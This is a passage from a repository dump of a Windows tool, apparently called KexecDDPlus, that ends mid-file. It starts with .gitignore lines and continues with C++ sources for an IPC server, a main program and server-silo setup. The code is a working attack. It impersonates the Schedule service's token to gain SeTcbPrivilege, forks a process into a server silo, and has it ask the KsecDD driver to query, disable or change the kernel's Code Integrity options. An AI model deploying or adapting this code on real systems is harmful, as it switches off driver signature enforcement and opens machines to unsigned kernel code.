output 330 | *.btp.cs 331 | *.btm.cs 332 | *.odx.cs 333 | *.xsd.cs 334 | 335 | # OpenCover UI analysis results 336 | OpenCover/ 337 | 338 | # Azure Stream Analytics local run output 339 | ASALocalRun/ 340 | 341 | # MSBuild Binary and Structured Log 342 | *.binlog 343 | 344 | # NVidia Nsight GPU debugger configuration file 345 | *.nvuser 346 | 347 | # MFractors (Xamarin productivity tool) working folder 348 | .mfractor/ 349 | 350 | # Local History for Visual Studio 351 | .localhistory/ 352 | 353 | # BeatPulse healthcheck temp database 354 | healthchecksdb 355 | 356 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 357 | MigrationBackup/ 358 | 359 | # Ionide (cross platform F# VS Code tools) working folder 360 | .ionide/ 361 | 362 | # Fody - auto-generated XML schema 363 | FodyWeavers.xsd -------------------------------------------------------------------------------- /Common/IpcServer.cpp: -------------------------------------------------------------------------------- 1 | #include "IpcServer.h" 2 | #include "ipc.h" 3 | #include "common.h" 4 | #include 5 | 6 | IpcServer::IpcServer() 7 | { 8 | m_hPipeHandle = INVALID_HANDLE_VALUE; 9 | m_pbIoBuffer = NULL; 10 | m_bIsInitialized = FALSE; 11 | m_bStopServer = FALSE; 12 | m_ksecClient = nullptr; 13 | 14 | if (!this->CreateCustomNamedPipe(&m_hPipeHandle, FALSE)) goto exit; 15 | if (!(m_pbIoBuffer = (LPBYTE)Common::Alloc(PAGE_SIZE))) goto exit; 16 | 17 | m_bIsInitialized = TRUE; 18 | 19 | exit: 20 | return; 21 | } 22 | 23 | IpcServer::~IpcServer() 24 | { 25 | if (m_pbIoBuffer) Common::Free(m_pbIoBuffer); 26 | if (m_hPipeHandle && m_hPipeHandle != INVALID_HANDLE_VALUE) CloseHandle(m_hPipeHandle); 27 | } 28 | 29 | BOOL IpcServer::Listen() 30 | { 31 | BOOL bResult = FALSE, bClientConnected = FALSE; 32 | DWORD dwBytesRead, dwBytesWritten, dwResponseSize = 0; 33 | 34 | bClientConnected = ConnectNamedPipe(this->m_hPipeHandle, NULL); 35 | if (!bClientConnected && GetLastError() != ERROR_PIPE_CONNECTED) 36 | { 37 | PRINT_ERROR_WIN32(L"ConnectNamedPipe"); 38 | goto exit; 39 | } 40 | 41 | while (!m_bStopServer) 42 | { 43 | ZeroMemory(this->m_pbIoBuffer, PAGE_SIZE); 44 | 45 | if (!ReadFile(this->m_hPipeHandle, this->m_pbIoBuffer, PAGE_SIZE, &dwBytesRead, NULL) || dwBytesRead == 0) 46 | { 47 | PRINT_ERROR_WIN32(L"ReadFile"); 48 | break; 49 | } 50 | 51 | if (!this->ProcessRequest(m_pbIoBuffer, &dwResponseSize)) 52 | { 53 | PRINT_ERROR(L"Fail to process request.\n"); 54 | break; 55 | } 56 | 57 | if (!WriteFile(this->m_hPipeHandle, this->m_pbIoBuffer, dwResponseSize, &dwBytesWritten, NULL) || dwBytesWritten != dwResponseSize) 58 | { 59 | PRINT_ERROR_WIN32(L"WriteFile"); 60 | break; 61 | } 62 | 63 | if (!FlushFileBuffers(this->m_hPipeHandle)) 64 | { 65 | PRINT_ERROR_WIN32(L"FlushFileBuffers"); 66 | break; 67 | } 68 | 69 | bResult = TRUE; 70 | } 71 | 72 | exit: 73 | if (bClientConnected && this->m_hPipeHandle != INVALID_HANDLE_VALUE) DisconnectNamedPipe(this->m_hPipeHandle); 74 | 75 | return bResult; 76 | } 77 | 78 | BOOL IpcServer::ListenInThread(OUT PHANDLE ThreadHandle) 79 | { 80 | BOOL bResult = FALSE; 81 | HANDLE hThread = NULL; 82 | 83 | if (!(hThread = CreateThread(NULL, 0, ListenThread, this, 0, NULL))) 84 | { 85 | PRINT_ERROR_WIN32(L"CreateThread"); 86 | goto exit; 87 | } 88 | 89 | *ThreadHandle = hThread; 90 | bResult = TRUE; 91 | 92 | exit: 93 | return bResult; 94 | } 95 | 96 | BOOL IpcServer::Stop() 97 | { 98 | this->m_bStopServer = TRUE; 99 | 100 | return TRUE; 101 | } 102 | 103 | BOOL IpcServer::IsInitialized() const 104 | { 105 | return m_bIsInitialized; 106 | } 107 | 108 | BOOL IpcServer::SetKsecClient(IN KsecDD* Ksec) 109 | { 110 | if (this->m_ksecClient) 111 | { 112 | PRINT_ERROR(L"A KsecDD client is already set.\n"); 113 | return FALSE; 114 | } 115 | else 116 | { 117 | this->m_ksecClient = Ksec; 118 | return TRUE; 119 | } 120 | } 121 | 122 | BOOL IpcServer::CreateCustomNamedPipe(OUT PHANDLE PipeHandle, IN BOOL Async) 123 | { 124 | BOOL bResult = FALSE; 125 | LPWSTR pwszPipeName = NULL; 126 | HANDLE hPipe = INVALID_HANDLE_VALUE; 127 | DWORD dwOpenMode, dwPipeMode, dwMaxInstances; 128 | 129 | if (!(pwszPipeName = (LPWSTR)Common::Alloc(MAX_PATH * sizeof(WCHAR)))) goto exit; 130 | 131 | swprintf_s(pwszPipeName, MAX_PATH, L"\\\\.\\pipe\\%ws", IPC_NAMED_PIPE_NAME); 132 | 133 | dwOpenMode = PIPE_ACCESS_DUPLEX | (Async ? FILE_FLAG_OVERLAPPED : 0); 134 | dwPipeMode = PIPE_TYPE_BYTE | PIPE_WAIT; 135 | dwMaxInstances = PIPE_UNLIMITED_INSTANCES; 136 | 137 | hPipe = CreateNamedPipeW(pwszPipeName, dwOpenMode, dwPipeMode, dwMaxInstances, PAGE_SIZE, PAGE_SIZE, 0, NULL); 138 | if (hPipe == INVALID_HANDLE_VALUE) 139 | { 140 | PRINT_ERROR_WIN32(L"CreateNamedPipeW"); 141 | goto exit; 142 | } 143 | 144 | *PipeHandle = hPipe; 145 | bResult = TRUE; 146 | 147 | exit: 148 | if (pwszPipeName) Common::Free(pwszPipeName); 149 | 150 | return bResult; 151 | } 152 | 153 | BOOL IpcServer::ProcessRequest(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 154 | { 155 | BOOL bResult = FALSE; 156 | DWORD dwType = 0; 157 | MessageType type; 158 | 159 | dwType = ((PIPC_REQUEST_HEADER)IoBuffer)->Type; 160 | if (dwType == 0 || dwType >= static_cast(MessageType::MaxValue)) 161 | { 162 | PRINT_ERROR(L"Message type value out of range: %d\n", dwType); 163 | goto exit; 164 | } 165 | 166 | type = static_cast(dwType); 167 | switch (type) 168 | { 169 | case MessageType::Ping: 170 | bResult = this->DoPing(IoBuffer, ResponseSize); 171 | break; 172 | case MessageType::StopServer: 173 | bResult = this->DoStopServer(IoBuffer, ResponseSize); 174 | break; 175 | case MessageType::QueryCiOptions: 176 | bResult = this->DoQueryCiOptions(IoBuffer, ResponseSize); 177 | break; 178 | case MessageType::DisableCi: 179 | bResult = this->DoDisableCi(IoBuffer, ResponseSize); 180 | break; 181 | case MessageType::SetCiOptions: 182 | bResult = this->DoSetCiOptions(IoBuffer, ResponseSize); 183 | break; 184 | case MessageType::MaxValue: 185 | break; 186 | default: 187 | break; 188 | } 189 | 190 | exit: 191 | return bResult; 192 | } 193 | 194 | BOOL IpcServer::DoPing(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 195 | { 196 | PIPC_REQUEST_PING req = (PIPC_REQUEST_PING)IoBuffer; 197 | PIPC_RESPONSE_PING resp = (PIPC_RESPONSE_PING)IoBuffer; 198 | 199 | if (_wcsicmp(req->Message, L"PING") == 0) 200 | { 201 | resp->Header.Type = static_cast(MessageType::Ping); 202 | resp->Header.Result = TRUE; 203 | resp->Header.Status = 0; 204 | 205 | swprintf_s(resp->Message, sizeof(resp->Message) / sizeof(*resp->Message), L"%ws", L"PONG"); 206 | } 207 | else 208 | { 209 | resp->Header.Type = static_cast(MessageType::Ping); 210 | resp->Header.Result = FALSE; 211 | resp->Header.Status = 0; 212 | } 213 | 214 | *ResponseSize = sizeof(*resp); 215 | 216 | return TRUE; 217 | } 218 | 219 | BOOL IpcServer::DoStopServer(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 220 | { 221 | PIPC_REQUEST_STOP_SERVER req = (PIPC_REQUEST_STOP_SERVER)IoBuffer; 222 | PIPC_RESPONSE_STOP_SERVER resp = (PIPC_RESPONSE_STOP_SERVER)IoBuffer; 223 | 224 | resp->Header.Type = static_cast(MessageType::StopServer); 225 | resp->Header.Result = TRUE; 226 | resp->Header.Status = 0; 227 | 228 | *ResponseSize = sizeof(*resp); 229 | 230 | this->m_bStopServer = TRUE; 231 | 232 | return TRUE; 233 | } 234 | 235 | BOOL IpcServer::DoQueryCiOptions(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 236 | { 237 | PIPC_REQUEST_QUERY_CI_OPTIONS req = (PIPC_REQUEST_QUERY_CI_OPTIONS)IoBuffer; 238 | PIPC_RESPONSE_QUERY_CI_OPTIONS resp = (PIPC_RESPONSE_QUERY_CI_OPTIONS)IoBuffer; 239 | DWORD dwCiOptions; 240 | BOOL bSuccess; 241 | 242 | if (!this->m_ksecClient) 243 | { 244 | PRINT_ERROR(L"KsecDD not yet initialized.\n"); 245 | return FALSE; 246 | } 247 | 248 | bSuccess = this->m_ksecClient->QueryCiOptionsValue(&dwCiOptions); 249 | 250 | resp->Header.Type = static_cast(MessageType::QueryCiOptions); 251 | resp->Header.Result = bSuccess; 252 | resp->Header.Status = 0; 253 | resp->CiOptions = dwCiOptions; 254 | 255 | *ResponseSize = sizeof(*resp); 256 | 257 | return TRUE; 258 | } 259 | 260 | BOOL IpcServer::DoDisableCi(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 261 | { 262 | PIPC_REQUEST_DISABLE_CI req = (PIPC_REQUEST_DISABLE_CI)IoBuffer; 263 | PIPC_RESPONSE_DISABLE_CI resp = (PIPC_RESPONSE_DISABLE_CI)IoBuffer; 264 | BOOL bSuccess; 265 | 266 | if (!this->m_ksecClient) 267 | { 268 | PRINT_ERROR(L"KsecDD not yet initialized.\n"); 269 | return FALSE; 270 | } 271 | 272 | bSuccess = this->m_ksecClient->SetCiOptionsValue(0); 273 | 274 | resp->Header.Type = static_cast(MessageType::DisableCi); 275 | resp->Header.Result = bSuccess; 276 | resp->Header.Status = 0; 277 | 278 | *ResponseSize = sizeof(*resp); 279 | 280 | return TRUE; 281 | } 282 | 283 | BOOL IpcServer::DoSetCiOptions(IN OUT LPBYTE IoBuffer, OUT PDWORD ResponseSize) 284 | { 285 | PIPC_REQUEST_SET_CI_OPTIONS req = (PIPC_REQUEST_SET_CI_OPTIONS)this->m_pbIoBuffer; 286 | PIPC_RESPONSE_SET_CI_OPTIONS resp = (PIPC_RESPONSE_SET_CI_OPTIONS)this->m_pbIoBuffer; 287 | BOOL bSuccess; 288 | 289 | if (!this->m_ksecClient) 290 | { 291 | PRINT_ERROR(L"KsecDD not yet initialized.\n"); 292 | return FALSE; 293 | } 294 | 295 | bSuccess = this->m_ksecClient->SetCiOptionsValue(req->CiOptions); 296 | 297 | resp->Header.Type = static_cast(MessageType::SetCiOptions); 298 | resp->Header.Result = bSuccess; 299 | resp->Header.Status = 0; 300 | 301 | *ResponseSize = sizeof(*resp); 302 | 303 | return TRUE; 304 | } 305 | 306 | DWORD __stdcall IpcServer::ListenThread(IN LPVOID lpParameter) 307 | { 308 | IpcServer* server = reinterpret_cast(lpParameter); 309 | 310 | server->Listen(); 311 | 312 | return 0; 313 | } -------------------------------------------------------------------------------- /KexecDDPlus/KexecDDPlus.cpp: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | #include "ServerSilo.h" 3 | #include "IpcServer.h" 4 | #include "IpcClient.h" 5 | #include 6 | 7 | #define CMD_QUERY_CI L"queryci" // 0 8 | #define CMD_DISABLE_CI L"disableci" // 1 9 | #define CMD_SET_CI L"setci" // 2 10 | 11 | #define CMD_CODE_QUERY_CI_CODE 0 12 | #define CMD_CODE_DISABLE_CI 1 13 | #define CMD_CODE_SET_CI 2 14 | 15 | BOOL g_bPrintVerbose = FALSE; // Set to TRUE to enable verbose messages 16 | DWORD g_dwCommandCode = (DWORD)-1; 17 | DWORD g_dwCiOptions = 0; 18 | 19 | void PrintUsage(wchar_t* prog); 20 | void ExecuteCommand(int cc); 21 | 22 | int main() 23 | { 24 | wchar_t** argv; 25 | int argc; 26 | 27 | argv = CommandLineToArgvW(GetCommandLineW(), &argc); 28 | 29 | if (argc >= 2) 30 | { 31 | if (_wcsicmp(argv[1], CMD_QUERY_CI) == 0) 32 | { 33 | ExecuteCommand(CMD_CODE_QUERY_CI_CODE); 34 | return 0; 35 | } 36 | else if (_wcsicmp(argv[1], CMD_DISABLE_CI) == 0) 37 | { 38 | ExecuteCommand(CMD_CODE_DISABLE_CI); 39 | return 0; 40 | } 41 | else if (_wcsicmp(argv[1], CMD_SET_CI) == 0) 42 | { 43 | if (argc >= 3) 44 | { 45 | g_dwCiOptions = wcstoul(argv[2], nullptr, 0); 46 | 47 | if ((g_dwCiOptions != 0) && (g_dwCiOptions != ULONG_MAX)) 48 | { 49 | ExecuteCommand(CMD_CODE_SET_CI); 50 | return 0; 51 | } 52 | else 53 | { 54 | PRINT_ERROR(L"Failed to parse input value (or supplied value was 0): %ws\n", argv[2]); 55 | return 2; 56 | } 57 | } 58 | } 59 | else 60 | { 61 | PRINT_ERROR(L"Unknown command: %ws\n", argv[1]); 62 | return 2; 63 | } 64 | } 65 | 66 | PrintUsage(argv[0]); 67 | 68 | return 1; 69 | } 70 | 71 | void PrintUsage(wchar_t* prog) 72 | { 73 | wprintf( 74 | L"" 75 | "\n" 76 | " Usage:\n" 77 | " %ws []\n" 78 | "\n" 79 | " Query the CI options value:\n" 80 | " %ws %ws\n" 81 | " Set the CI options value to 0:\n" 82 | " %ws %ws\n" 83 | " Set the CI options value:\n" 84 | " %ws %ws \n" 85 | , 86 | prog, 87 | prog, 88 | CMD_QUERY_CI, 89 | prog, 90 | CMD_DISABLE_CI, 91 | prog, 92 | CMD_SET_CI 93 | ); 94 | } 95 | 96 | void ExecuteCommand(int cc) 97 | { 98 | KsecDD* ksec = nullptr; 99 | ServerSilo* silo = nullptr; 100 | HANDLE hScheduleToken = NULL; 101 | BOOL bImpersonation = FALSE; 102 | PROCESS_INFORMATION pi = { 0 }; 103 | 104 | // 105 | // SeTcbPrivilege is required for creating a Server Silo. Since administrators 106 | // don't have this privilege, we'll use the token of the Schedule service instead. 107 | // 108 | 109 | if (!Common::EnablePrivilege(NULL, SE_IMPERSONATE_NAME) || !Common::EnablePrivilege(NULL, SE_DEBUG_NAME)) goto exit; 110 | PRINT_VERBOSE(L"Enabled required privileges.\n"); 111 | 112 | if (!Common::OpenServiceToken(L"Schedule", &hScheduleToken)) goto exit; 113 | PRINT_VERBOSE(L"Got Schedule service's token.\n"); 114 | 115 | if (!Common::EnablePrivilege(hScheduleToken, SE_TCB_NAME)) goto exit; 116 | PRINT_VERBOSE(L"Enabled SeTcbPrivilege in token.\n"); 117 | 118 | if (!Common::ImpersonateToken(hScheduleToken)) goto exit; 119 | PRINT_VERBOSE(L"Impersonating Schedule service...\n"); 120 | 121 | bImpersonation = TRUE; 122 | 123 | silo = new ServerSilo(); 124 | if (!silo->IsInitialized()) goto exit; 125 | PRINT_SUCCESS(L"Silo created and initialized (path is %ws).\n", silo->GetRootDirectory()); 126 | 127 | // 128 | // Once the Server Silo is created, we no longer need to impersonate SYSTEM. So, 129 | // we can "revert to self", and close the Token handle. 130 | // 131 | 132 | if (!Common::RevertImpersonation()) goto exit; 133 | PRINT_VERBOSE(L"Reverted impersonation.\n"); 134 | 135 | bImpersonation = FALSE; 136 | CloseHandle(hScheduleToken); 137 | hScheduleToken = NULL; 138 | 139 | // 140 | // We should initialize our KsecDD client in the forked process (see below), but 141 | // doing it here will allow us to see error messages on the console. It would 142 | // technically be feasible to attach the forked process to the parent's console, 143 | // though the result is not consistent throughout Windows versions. 144 | // 145 | 146 | ksec = new KsecDD(); 147 | if (!ksec->IsInitialized()) goto exit; 148 | 149 | // 150 | // Now, we need to execute code in the Server Silo. We could get the command line 151 | // of the current process, and use that to start a new process. However, there is 152 | // no guarantee that the current program is the one we want to execute (in case 153 | // of process injection for instance). Instead, we can fork the current process 154 | // and take different code paths, depending on whether we are in the parent or 155 | // the child. This comes at the expense of having to handle resources and open 156 | // handles very carefully though. 157 | // 158 | 159 | if (!Common::ForkProcessIntoServerSilo(silo->GetHandle(), &pi)) goto exit; 160 | 161 | // 162 | // If the 'fork' succeeds, the Process handle value of the PROCESS_INFORMATION 163 | // structure is populated with the handle of the child process. That's how we 164 | // now we are still in the 'main' process. Therefore, the other code path 165 | // is only taken in the 'child' process. 166 | // 167 | 168 | if (pi.hProcess) 169 | { 170 | // 171 | // We are in the parent process! We will use a named pipe as an IPC mechanism 172 | // to communicate with the child process. 173 | // 174 | 175 | IpcClient* client = nullptr; 176 | DWORD dwExitCode = 0; 177 | 178 | PRINT_SUCCESS(L"Process forked (child pid is %d).\n", pi.dwProcessId); 179 | 180 | client = new IpcClient(); 181 | 182 | // 183 | // Try to connect to the child's named pipe in a loop, and wait 1s before each 184 | // attempt. After 5 failed attempts, we safely exit. 185 | // 186 | 187 | for (int i = 0; i < 5; i++) 188 | { 189 | Sleep(1000); 190 | if (client->Connect()) break; 191 | } 192 | 193 | if (!client->IsConnected()) 194 | { 195 | PRINT_ERROR(L"Failed to connect to IPC server.\n"); 196 | goto parent_exit; 197 | } 198 | 199 | // 200 | // Send a PING command to the child to make sure the IPC is working properly. 201 | // 202 | 203 | PRINT_VERBOSE(L"Sending PING request...\n"); 204 | if (!client->SendPingRequest()) goto parent_exit; 205 | PRINT_VERBOSE(L"PING request OK\n"); 206 | 207 | PRINT_SUCCESS(L"Connected to child process!\n"); 208 | 209 | switch (cc) 210 | { 211 | case CMD_CODE_QUERY_CI_CODE: 212 | PRINT_VERBOSE(L"Sending Query CiOptions request...\n"); 213 | if (!client->SendQueryCiOptionsRequest(&g_dwCiOptions)) goto parent_exit; 214 | PRINT_SUCCESS(L"Query CiOptions request OK, current value is: 0x%08x\n", g_dwCiOptions); 215 | break; 216 | case CMD_CODE_DISABLE_CI: 217 | PRINT_VERBOSE(L"Sending Disable CI request...\n"); 218 | if (!client->SendDisableCiRequest()) goto parent_exit; 219 | PRINT_SUCCESS(L"Disable CI request OK\n"); 220 | break; 221 | case CMD_CODE_SET_CI: 222 | PRINT_VERBOSE(L"Sending Set CiOptions request...\n"); 223 | if (!client->SendSetCiOptionsRequest(g_dwCiOptions)) goto parent_exit; 224 | PRINT_SUCCESS(L"Set CiOptions request OK\n"); 225 | break; 226 | default: 227 | PRINT_ERROR(L"Unknown command code: %d\n", cc); 228 | } 229 | 230 | PRINT_VERBOSE(L"Sending PING request...\n"); 231 | if (!client->SendPingRequest()) goto parent_exit; 232 | PRINT_VERBOSE(L"PING request OK\n"); 233 | 234 | parent_exit: 235 | if (client && client->IsConnected()) 236 | { 237 | client->Disconnect(); 238 | } 239 | 240 | // 241 | // Wait for the child process to terminate indefinitely. Note, that is not 242 | // ideal as we could be waiting forever. We should wait for a few seconds, 243 | // and then kill the process if it's unresponsive instead. 244 | // 245 | 246 | PRINT_VERBOSE(L"Waiting for child process (%d) to terminate...\n", pi.dwProcessId); 247 | NtWaitForSingleObject(pi.hProcess, FALSE, NULL); 248 | 249 | if (pi.hProcess) NtClose(pi.hProcess); 250 | if (pi.hThread) NtClose(pi.hThread); 251 | if (client) delete client; 252 | if (silo) delete silo; 253 | } 254 | else 255 | { 256 | // 257 | // We are in the child process! We'll create a named pipe to let the parent 258 | // process communicate with us. 259 | // 260 | 261 | IpcServer* server = nullptr; 262 | HANDLE hListenThread = NULL; 263 | 264 | if (!ksec->Connect()) goto child_exit; 265 | 266 | server = new IpcServer(); 267 | 268 | if (!server->IsInitialized()) goto child_exit; 269 | if (!server->SetKsecClient(ksec)) goto child_exit; 270 | if (!server->ListenInThread(&hListenThread)) goto child_exit; 271 | 272 | WaitForSingleObject(hListenThread, INFINITE); 273 | 274 | child_exit: 275 | if (hListenThread) CloseHandle(hListenThread); 276 | if (server) delete server; 277 | if (ksec->IsConnected()) ksec->Disconnect(); 278 | 279 | NtTerminateProcess((HANDLE)-1, STATUS_SUCCESS); 280 | } 281 | 282 | exit: 283 | if (bImpersonation) RevertToSelf(); 284 | if (hScheduleToken) CloseHandle(hScheduleToken); 285 | if (ksec) delete ksec; 286 | 287 | wprintf(L"All done.\n"); 288 | } -------------------------------------------------------------------------------- /Common/ServerSilo.cpp: -------------------------------------------------------------------------------- 1 | #include "ServerSilo.h" 2 | #include "common.h" 3 | #include "nt.h" 4 | #include 5 | 6 | ServerSilo::ServerSilo() 7 | { 8 | m_hServerSilo = NULL; 9 | m_hDeleteEvent = NULL; 10 | m_pwszRootDirectory = NULL; 11 | m_bIsInitialized = FALSE; 12 | 13 | if (!(m_hDeleteEvent = ::CreateEventW(NULL, TRUE, FALSE, NULL))) goto exit; 14 | 15 | if (!this->CreateSilo(&m_hServerSilo)) goto exit; 16 | if (!this->SetSystemRoot(m_hServerSilo, NULL)) goto exit; 17 | if (!this->QueryRootDirectory(m_hServerSilo, &m_pwszRootDirectory)) goto exit; 18 | if (!this->CreateDeviceDirectory(m_pwszRootDirectory)) goto exit; 19 | if (!this->Initialize(m_hServerSilo, m_hDeleteEvent)) goto exit; 20 | 21 | m_bIsInitialized = TRUE; 22 | 23 | exit: 24 | return; 25 | } 26 | 27 | ServerSilo::~ServerSilo() 28 | { 29 | if (m_hServerSilo) 30 | { 31 | this->Terminate(m_hServerSilo, STATUS_SUCCESS); 32 | this->Close(m_hServerSilo); 33 | } 34 | 35 | if (m_hDeleteEvent) CloseHandle(m_hDeleteEvent); 36 | if (m_pwszRootDirectory) Common::Free(m_pwszRootDirectory); 37 | } 38 | 39 | HANDLE ServerSilo::GetHandle() const 40 | { 41 | return m_hServerSilo; 42 | } 43 | 44 | LPWSTR ServerSilo::GetRootDirectory() const 45 | { 46 | return m_pwszRootDirectory; 47 | } 48 | 49 | BOOL ServerSilo::IsInitialized() const 50 | { 51 | return m_bIsInitialized; 52 | } 53 | 54 | BOOL ServerSilo::CreateJob(OUT PHANDLE Job, IN ACCESS_MASK Access) 55 | { 56 | NTSTATUS status; 57 | HANDLE hJob = NULL; 58 | 59 | *Job = NULL; 60 | 61 | status = NtCreateJobObject(&hJob, Access, NULL); 62 | if (!NT_SUCCESS(status)) 63 | { 64 | PRINT_ERROR_NT(L"NtCreateJobObject", status); 65 | return FALSE; 66 | } 67 | 68 | *Job = hJob; 69 | 70 | return TRUE; 71 | } 72 | 73 | BOOL ServerSilo::SetLimitFlags(IN HANDLE Job, IN DWORD Flags) 74 | { 75 | BOOL bResult = FALSE; 76 | NTSTATUS status; 77 | JOBOBJECT_EXTENDED_LIMIT_INFORMATION_V2 info = { 0 }; 78 | 79 | info.BasicLimitInformation.LimitFlags = Flags; 80 | 81 | status = NtSetInformationJobObject(Job, JobObjectExtendedLimitInformation, &info, sizeof(info)); 82 | if (!NT_SUCCESS(status)) 83 | { 84 | PRINT_ERROR_NT(L"NtSetInformationJobObject", status); 85 | return FALSE; 86 | } 87 | 88 | return TRUE; 89 | } 90 | 91 | BOOL ServerSilo::ConvertJobToSilo(IN HANDLE Job) 92 | { 93 | NTSTATUS status; 94 | 95 | status = NtSetInformationJobObject(Job, JobObjectCreateSilo, NULL, 0); 96 | if (!NT_SUCCESS(status)) 97 | { 98 | PRINT_ERROR_NT(L"NtSetInformationJobObject", status); 99 | return FALSE; 100 | } 101 | 102 | return TRUE; 103 | } 104 | 105 | BOOL ServerSilo::AssignProcess(IN HANDLE Job, IN HANDLE Process) 106 | { 107 | NTSTATUS status; 108 | 109 | status = NtAssignProcessToJobObject(Job, Process); 110 | if (!NT_SUCCESS(status)) 111 | { 112 | PRINT_ERROR_NT(L"NtAssignProcessToJobObject", status); 113 | return FALSE; 114 | } 115 | 116 | return TRUE; 117 | } 118 | 119 | BOOL ServerSilo::SetRootDirectory(IN HANDLE Job, IN DWORD RootDirectoryFlags) 120 | { 121 | BOOL bResult = FALSE; 122 | NTSTATUS status; 123 | SILOOBJECT_ROOT_DIRECTORY sro = { 0 }; 124 | 125 | sro.ControlFlags = RootDirectoryFlags; 126 | 127 | status = NtSetInformationJobObject(Job, (JOBOBJECTINFOCLASS)JobObjectSiloRootDirectory, &sro, sizeof(sro)); 128 | if (!NT_SUCCESS(status)) 129 | { 130 | PRINT_ERROR_NT(L"NtSetInformationJobObject", status); 131 | return FALSE; 132 | } 133 | 134 | return TRUE; 135 | } 136 | 137 | BOOL ServerSilo::CreateSilo(OUT PHANDLE Silo) 138 | { 139 | BOOL bResult = FALSE; 140 | HANDLE hJob = NULL; 141 | 142 | *Silo = NULL; 143 | 144 | if (!this->CreateJob(&hJob, JOB_OBJECT_ALL_ACCESS)) goto exit; 145 | if (!this->SetLimitFlags(hJob, JOB_OBJECT_LIMIT_SILO_READY)) goto exit; 146 | if (!this->ConvertJobToSilo(hJob)) goto exit; 147 | if (!this->AssignProcess(hJob, (HANDLE)-7)) goto exit; 148 | if (!this->SetRootDirectory(hJob, SILO_OBJECT_ROOT_DIRECTORY_ALL)) goto exit; 149 | 150 | *Silo = hJob; 151 | bResult = TRUE; 152 | 153 | exit: 154 | return bResult; 155 | } 156 | 157 | BOOL ServerSilo::SetSystemRoot(IN HANDLE Job, IN OPTIONAL LPCWSTR SystemRoot) 158 | { 159 | BOOL bResult = FALSE; 160 | NTSTATUS status; 161 | WCHAR wszWindowsDirectory[MAX_PATH]; 162 | DWORD dwWindowsDirectoryLength; 163 | LPWSTR pwszSystemRoot = NULL; 164 | PUNICODE_STRING pusSystemRoot = NULL; 165 | 166 | if (!SystemRoot) 167 | { 168 | if (!GetWindowsDirectoryW(wszWindowsDirectory, MAX_PATH)) 169 | { 170 | PRINT_ERROR_WIN32(L"GetSystemDirectoryW"); 171 | goto exit; 172 | } 173 | 174 | // Remove trailing slash in system directory path 175 | dwWindowsDirectoryLength = (DWORD)wcslen(wszWindowsDirectory); 176 | if (dwWindowsDirectoryLength && wszWindowsDirectory[dwWindowsDirectoryLength - 1] == '\\') 177 | wszWindowsDirectory[dwWindowsDirectoryLength - 1] = '\0'; 178 | } 179 | 180 | if (!(pusSystemRoot = (PUNICODE_STRING)Common::Alloc(sizeof(*pusSystemRoot)))) goto exit; 181 | 182 | if (!RtlCreateUnicodeString(pusSystemRoot, SystemRoot ? SystemRoot : wszWindowsDirectory)) 183 | { 184 | PRINT_ERROR(L"RtlCreateUnicodeString failed.\n"); 185 | goto exit; 186 | } 187 | 188 | status = NtSetInformationJobObject(Job, (JOBOBJECTINFOCLASS)JobObjectSiloSystemRoot, pusSystemRoot, sizeof(*pusSystemRoot)); 189 | if (!NT_SUCCESS(status)) 190 | { 191 | PRINT_ERROR_NT(L"NtSetInformationJobObject", status); 192 | goto exit; 193 | } 194 | 195 | bResult = TRUE; 196 | 197 | exit: 198 | if (pusSystemRoot) 199 | { 200 | if (pusSystemRoot->Buffer) 201 | RtlFreeUnicodeString(pusSystemRoot); 202 | Common::Free(pusSystemRoot); 203 | } 204 | 205 | return bResult; 206 | } 207 | 208 | BOOL ServerSilo::QueryRootDirectory(IN HANDLE Job, OUT LPWSTR* RootDirectory) 209 | { 210 | BOOL bResult = FALSE; 211 | NTSTATUS status; 212 | ULONG len = 0; 213 | PSILOOBJECT_ROOT_DIRECTORY psrd = NULL; 214 | const DWORD dwBufferSize = 0x1000; 215 | LPWSTR pwszRootDirectory = NULL; 216 | DWORD dwRootDirectoryLength; 217 | 218 | *RootDirectory = NULL; 219 | 220 | if (!(psrd = (PSILOOBJECT_ROOT_DIRECTORY)Common::Alloc(dwBufferSize))) goto exit; 221 | 222 | status = NtQueryInformationJobObject(Job, (JOBOBJECTINFOCLASS)JobObjectSiloRootDirectory, psrd, dwBufferSize, &len); 223 | if (!NT_SUCCESS(status)) 224 | { 225 | PRINT_ERROR_NT(L"NtQueryInformationJobObject", status); 226 | goto exit; 227 | } 228 | 229 | dwRootDirectoryLength = (DWORD)wcslen(psrd->Path.Buffer); 230 | 231 | if (!(pwszRootDirectory = (LPWSTR)Common::Alloc((dwRootDirectoryLength + 1) * sizeof(*pwszRootDirectory)))) goto exit; 232 | StringCchPrintfW(pwszRootDirectory, dwRootDirectoryLength + 1, L"%ws", psrd->Path.Buffer); 233 | *RootDirectory = pwszRootDirectory; 234 | bResult = TRUE; 235 | 236 | exit: 237 | if (!bResult && pwszRootDirectory) Common::Free(pwszRootDirectory); 238 | if (psrd) Common::Free(psrd); 239 | 240 | return bResult; 241 | } 242 | 243 | BOOL ServerSilo::CreateDeviceDirectory(IN LPWSTR RootDirectory) 244 | { 245 | BOOL bResult = FALSE; 246 | NTSTATUS status; 247 | UNICODE_STRING usDevicePath = { 0 }, usSiloDevicePath = { 0 }; 248 | OBJECT_ATTRIBUTES oa = { 0 }; 249 | HANDLE hDeviceDirectory = NULL, hSiloDeviceDirectory = NULL; 250 | WCHAR wszSiloDevicePath[MAX_PATH] = { 0 }; 251 | 252 | RtlInitUnicodeString(&usDevicePath, L"\\Device"); 253 | InitializeObjectAttributes(&oa, &usDevicePath, OBJ_CASE_INSENSITIVE, NULL, NULL); 254 | 255 | status = NtOpenDirectoryObject(&hDeviceDirectory, MAXIMUM_ALLOWED, &oa); 256 | if (!NT_SUCCESS(status)) 257 | { 258 | PRINT_ERROR_NT(L"NtOpenDirectoryObject", status); 259 | goto exit; 260 | } 261 | 262 | StringCchPrintfW(wszSiloDevicePath, MAX_PATH, L"%ws\\Device", RootDirectory); 263 | 264 | RtlInitUnicodeString(&usSiloDevicePath, wszSiloDevicePath); 265 | InitializeObjectAttributes(&oa, &usSiloDevicePath, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT | OBJ_OPENIF, NULL, NULL); 266 | 267 | status = 